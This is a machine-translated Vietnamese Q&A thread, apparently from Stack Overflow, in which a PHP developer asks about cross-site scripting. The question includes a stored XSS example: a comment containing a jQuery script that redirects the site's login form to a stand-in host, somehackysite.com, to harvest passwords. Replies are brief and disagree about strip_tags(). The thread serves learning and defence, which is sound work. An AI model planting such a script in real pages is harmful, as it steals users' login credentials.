Tôi là nhà phát triển PHP và tôi đang tìm cách cải thiện tính bảo mật của trang web của mình.Là đầu vào của người dùng HTML có Javascript được hiển thị cho người khác nhưng không phải HTML đã thoát khỏi ví dụ về XSS
Từ những gì tôi hiểu sau đây là hai loại chính của lỗ hổng ảnh hưởng đến các ứng dụng web:
- SQL Injection
- XSS
SQL Injection có thể được cố định với tuyên bố sẵn sàng - dễ dàng.
Nhưng tôi vẫn không thực sự có được XSS - là sau một ví dụ về XSS ...
- trang đầy đủ các nội dung do người dùng tạo có một hình thức đăng nhập ở đầu trang (site-wide) .
- Dữ liệu nhập của người dùng vào trang không bị thoát HTML.
- Một người sử dụng bài viết nội dung sau đây (ví dụ một bình luận) để trang ...
A really nice comment
<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
- Một người dùng ngây thơ nói đến trang, kịch bản thực thi.
- Người dùng vô tội nhận ra họ không đăng nhập và nhập chi tiết của họ vào biểu mẫu.
- Chi tiết của người dùng được gửi tới
http://somehackysite.com/givemyourpw.php
và sau đó chi tiết tài khoản của người dùng bị đánh cắp.
Vì vậy, tôi thực sự có ba câu hỏi ở đây:
- Sẽ làm việc này?
- Đây có phải là XSS không?
- Có bất kỳ biện pháp phòng ngừa nào mà nhà phát triển nên thực hiện đối với XSS ngoài việc thoát HTML không?
1) Có. 2) Có. 3) Có. ['strip_tags()'] (http://php.net/manual/en/function.strip-tags.php) là một khởi đầu tốt. – DaveRandom
@DaveRandom 3) Không, strip_tags là ác, không bao giờ sử dụng nó. KHÔNG BAO GIỜ! – NikiC
@NikiC tại sao nó lại là ác? –